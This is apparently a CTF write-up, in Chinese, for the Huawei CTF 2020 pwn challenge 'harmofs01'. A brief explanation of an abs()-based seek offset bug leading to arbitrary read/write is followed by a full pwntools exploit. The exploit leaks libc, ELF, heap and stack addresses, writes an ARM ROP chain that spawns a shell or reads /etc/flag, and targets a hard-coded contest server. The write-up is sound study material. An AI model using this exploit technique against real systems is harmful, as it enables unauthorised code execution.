0%

华为CTF2020第三场_harmofs01

在seek功能里使用了abs,可以第一次传入0x80000000,然后第二次传入0x7fffffff,即可将8offset设置为负数,改写size,实现全局读写。在本地进行调试时,发现musl libc会崩溃,用第三方musl libc也崩溃,patch掉崩溃的地方,即可在本地成功运行。

还需要泄露堆地址,才可以实现任意地址读写,free几个堆形成链表,然后溢出,泄露指针即可。构造内存泄露函数,泄露远程栈布局,确定ROP位置写ROP即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
#coding:utf8
from pwn import *

local = False
sh = remote('124.71.139.184',31392)
#sh = remote('192.168.139.230',10002)
#sh = remote('127.0.0.1',10004)
#libc = ELF('./libc.so')
libc = ELF('./bak.so')

sh.recvuntil('Gift: ')
libc_base = int(sh.recvuntil('\n',drop = True),16) - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
envirom_addr = libc_base + libc.sym['_environ']
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
print 'envirom_addr=',hex(envirom_addr)
sh.recvuntil('Gift: ')
elf_base = int(sh.recvuntil('\n',drop = True),16) - 0x12d8
#0x0000178c : pop {r0, lr} ; bx lr
pop_r0_lr = elf_base + 0x0000178c
backdoor = elf_base + 0x1248
print 'elf_base=',hex(elf_base)

def add(size,name):
sh.sendlineafter('Sh > ','touch')
sh.sendlineafter('File size: ',str(size))
sh.sendlineafter('File name: ',name)

def seek(name,mode,offset):
sh.sendlineafter('Sh > ','fileop')
sh.sendlineafter('File name:',name)
sh.sendlineafter('Operation:','3')
sh.sendlineafter('Mode:',str(mode))
sh.sendlineafter('Offset:',str(offset))

def edit(name,size,content):
sh.sendlineafter('Sh > ','fileop')
sh.sendlineafter('File name:',name)
sh.sendlineafter('Operation:','1')
sh.sendlineafter('Size:',str(size))
sleep(1)
sh.send(content)

def show(name,size):
sh.sendlineafter('Sh > ','fileop')
sh.sendlineafter('File name:',name)
sh.sendlineafter('Operation:','2')
sh.sendlineafter('Size:',str(size))

def delete(name):
sh.sendlineafter('Sh > ','fileop')
sh.sendlineafter('File name:',name)
sh.sendlineafter('Operation:','4')


for i in range(5):
add(0x88,str(i))

for i in range(0,5,2):
delete(str(i))


seek('1',0,0x80000000)
#设置offset为-4
seek('1',1,0x7ffffffc)
#修改size,实现qua全局读写
edit('1',0x5,p32(0x7fffffff) + '\n')

seek('1',0,0)
#context.log_level = 'debug'
#泄露堆地址
show('1',0x100)
sh.recvuntil('\xb1')
sh.recv(0xb)
heap_addr = u32(sh.recv(4))
base = heap_addr + 0x24
print 'heap_addr=',hex(heap_addr)
print 'base=',hex(base)

add(0x88,'2')

def setPos(addr):
seek('2',0,0x80000000)
offset = addr - base
print 'offset=',hex(offset)
if offset < 0:
#设置offset为-4
seek('2',1,0x7ffffffc)
#修改size,实现全局读写
edit('2',0x5,p32(0xffffffff) + '\n')
offset = 0x100000000 + offset
seek('2',0,0x80000000)
seek('2',1,offset - 0x80000000)
else:
#设置offset为-4
seek('2',1,0x7ffffffc)
if offset >= 0x80000000:
edit('2',0x5,p32(0xffffffff) + '\n')
else:
edit('2',0x5,p32(0x7fffffff) + '\n')
seek('2',0,offset)

def leak(addr):
setPos(addr)
show('2',0x4)

def write(addr,size,content):
setPos(addr)
edit('2',size,content)

#context.log_level = 'debug'
#raw_input()
leak(envirom_addr)
stack_addr = u32(sh.recvuntil('Sh >',drop = True)[-4:])
if local:
rop_addr = stack_addr - 0x450
else:
rop_addr = stack_addr - 0x5b8
print 'stack_addr=',hex(stack_addr)
print 'rop_addr=',hex(rop_addr)
sh.sendline('fileop')
sh.sendlineafter('File name:','ha1vk')
#context.log_level = 'debug'
#搜索栈数据,确定ROP地址
'''for i in range(0,0xc,0x4):
leak(rop_addr - i)
stack_addr = u32(sh.recvuntil('Sh >',drop = True)[-4:])
sh.sendline('fileop')
sh.sendlineafter('File name:','ha1vk')
print hex(stack_addr)
'''
if local:
write(rop_addr,0xc,p32(pop_r0_lr) + p32(binsh_addr) + p32(system_addr))
else:
payload = p32(pop_r0_lr) + p32(rop_addr + 0xc) + p32(backdoor) + '/etc/flag\x00\n'
write(rop_addr,len(payload),payload)
sh.interactive()